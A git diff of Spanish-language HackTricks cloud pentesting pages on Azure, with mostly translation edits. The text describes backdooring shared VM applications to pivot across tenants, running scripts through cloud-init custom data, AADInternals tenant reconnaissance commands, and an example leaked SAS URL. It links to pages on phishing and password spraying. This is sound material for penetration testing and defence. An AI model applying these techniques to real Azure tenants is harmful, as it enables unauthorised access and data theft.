- Linux: `/var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux/<appname>/<app version>`
|
||||
- Windows: `C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\<appname>\<app version>`
|
||||
@@ -625,7 +625,7 @@ Estos son los caminos donde las aplicaciones se descargan dentro del sistema de
|
||||
Consulta cómo instalar nuevas aplicaciones en [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli)
|
||||
|
||||
> [!CAUTION]
|
||||
> Es posible **compartir aplicaciones individuales y galerías con otras suscripciones o inquilinos**. Lo cual es muy interesante porque podría permitir a un atacante insertar un backdoor en una aplicación y pivotar a otras suscripciones e inquilinos.
|
||||
> Es posible **compartir aplicaciones individuales y galerías con otras suscripciones o inquilinos**. Lo cual es muy interesante porque podría permitir a un atacante crear una puerta trasera en una aplicación y pivotar a otras suscripciones e inquilinos.
|
||||
|
||||
Pero **no hay un "mercado" para aplicaciones de vm** como lo hay para extensiones.
|
||||
|
||||
@@ -721,7 +721,7 @@ az vm application set \
|
||||
|
||||
### Datos del usuario
|
||||
|
||||
Estos son **datos persistentes** que se pueden recuperar del endpoint de metadatos en cualquier momento. Tenga en cuenta que en Azure los datos del usuario son diferentes de AWS y GCP porque **si coloca un script aquí, no se ejecuta por defecto**.
|
||||
Estos son **datos persistentes** que se pueden recuperar del punto final de metadatos en cualquier momento. Tenga en cuenta que en Azure, los datos del usuario son diferentes de AWS y GCP porque **si coloca un script aquí, no se ejecuta por defecto**.
|
||||
|
||||
### Datos personalizados
|
||||
|
||||
@@ -731,7 +731,7 @@ Es posible pasar algunos datos a la VM que se almacenarán en rutas esperadas:
|
||||
- En **Linux**, se almacenaba en `/var/lib/waagent/ovf-env.xml` y ahora se almacena en `/var/lib/waagent/CustomData/ovf-env.xml`
|
||||
- **Agente de Linux**: No procesa datos personalizados por defecto, se necesita una imagen personalizada con los datos habilitados.
|
||||
- **cloud-init:** Por defecto, procesa datos personalizados y estos datos pueden estar en [**varios formatos**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). Podría ejecutar un script fácilmente enviando solo el script en los datos personalizados.
|
||||
- Intenté que tanto Ubuntu como Debian ejecutaran el script que colocó aquí.
|
||||
- Intenté que tanto Ubuntu como Debian ejecutaran el script que colocas aquí.
|
||||
- También no es necesario habilitar los datos del usuario para que esto se ejecute.
|
||||
```bash
|
||||
#!/bin/sh
|
||||
|
||||
@@ -9,12 +9,12 @@
|
||||
Hay algunas **APIs públicas de Azure** que solo con conocer el **dominio del inquilino** un atacante podría consultar para obtener más información sobre él.\
|
||||
Puedes consultar directamente la API o usar la biblioteca de PowerShell [**AADInternals**](https://github.com/Gerenios/AADInternals)**:**
|
||||
|
||||
| API | Información | Función de AADInternals |
|
||||
| -------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------- |
|
||||
| login.microsoftonline.com/\<domain>/.well-known/openid-configuration | **Información de inicio de sesión**, incluyendo el ID del inquilino | `Get-AADIntTenantID -Domain <domain>` |
|
||||
| autodiscover-s.outlook.com/autodiscover/autodiscover.svc | **Todos los dominios** del inquilino | `Get-AADIntTenantDomains -Domain <domain>` |
|
||||
| login.microsoftonline.com/GetUserRealm.srf?login=\<UserName> | <p><strong>Información de inicio de sesión</strong> del inquilino, incluyendo el nombre del inquilino y el tipo de <strong>autenticación del dominio.</strong><br>Si <code>NameSpaceType</code> es <strong><code>Managed</code></strong>, significa que se utiliza <strong>AzureAD</strong>.</p> | `Get-AADIntLoginInformation -UserName <UserName>` |
|
||||
| login.microsoftonline.com/common/GetCredentialType | Información de inicio de sesión, incluyendo **información de SSO de escritorio** | `Get-AADIntLoginInformation -UserName <UserName>` |
|
||||
| API | Información | Función de AADInternals |
|
||||
| -------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------- |
|
||||
| login.microsoftonline.com/\<domain>/.well-known/openid-configuration | **Información de inicio de sesión**, incluyendo el ID del inquilino | `Get-AADIntTenantID -Domain <domain>` |
|
||||
| autodiscover-s.outlook.com/autodiscover/autodiscover.svc | **Todos los dominios** del inquilino | `Get-AADIntTenantDomains -Domain <domain>` |
|
||||
| login.microsoftonline.com/GetUserRealm.srf?login=\<UserName> | <p><strong>Información de inicio de sesión</strong> del inquilino, incluyendo el nombre del inquilino y el tipo de <strong>autenticación del dominio.</strong><br>Si <code>NameSpaceType</code> es <strong><code>Managed</code></strong>, significa que se utiliza <strong>AzureAD</strong>.</p> | `Get-AADIntLoginInformation -UserName <UserName>` |
|
||||
| login.microsoftonline.com/common/GetCredentialType | Información de inicio de sesión, incluyendo **información de SSO de escritorio** | `Get-AADIntLoginInformation -UserName <UserName>` |
|
||||
|
||||
Puedes consultar toda la información de un inquilino de Azure con **solo un comando de la** [**biblioteca AADInternals**](https://github.com/Gerenios/AADInternals):
|
||||
```powershell
|
||||
@@ -193,7 +193,7 @@ https://corpcommon.blob.core.windows.net/secrets?restype=container&comp=list
|
||||
```
|
||||
### SAS URLs
|
||||
|
||||
Una _**firma de acceso compartido**_ (SAS) URL es una URL que **proporciona acceso** a cierta parte de una cuenta de almacenamiento (puede ser un contenedor completo, un archivo...) con algunos permisos específicos (lectura, escritura...) sobre los recursos. Si encuentras uno filtrado, podrías acceder a información sensible, se ven así (esto es para acceder a un contenedor, si solo se otorgara acceso a un archivo, la ruta de la URL también contendría ese archivo):
|
||||
Una _**firma de acceso compartido**_ (SAS) URL es una URL que **proporciona acceso** a cierta parte de una cuenta de almacenamiento (puede ser un contenedor completo, un archivo...) con algunos permisos específicos (lectura, escritura...) sobre los recursos. Si encuentras uno filtrado, podrías acceder a información sensible, se ven así (esto es para acceder a un contenedor, si solo otorgara acceso a un archivo, la ruta de la URL también contendría ese archivo):
|
||||
|
||||
`https://<storage_account_name>.blob.core.windows.net/newcontainer?sp=r&st=2021-09-26T18:15:21Z&se=2021-10-27T02:14:21Z&spr=https&sv=2021-07-08&sr=c&sig=7S%2BZySOgy4aA3Dk0V1cJyTSIf1cW%2Fu3WFkhHV32%2B4PE%3D`
|
||||
|
||||
@@ -203,7 +203,7 @@ Usa [**Storage Explorer**](https://azure.microsoft.com/en-us/features/storage-ex
|
||||
|
||||
### Phishing
|
||||
|
||||
- [**Phishing Común**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (credenciales o aplicación OAuth -[Ataque de Consentimiento Ilícito](az-oauth-apps-phishing.md)-)
|
||||
- [**Phishing Común**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-methodology/index.html) (credenciales o aplicación OAuth -[Ataque de Consentimiento Ilícito](az-oauth-apps-phishing.md)-)
|
||||
- [**Phishing de Autenticación con Código de Dispositivo**](az-device-code-authentication-phishing.md)
|
||||
|
||||
### Password Spraying / Brute-Force
|
||||
|
||||
Reference in New Issue
Block a user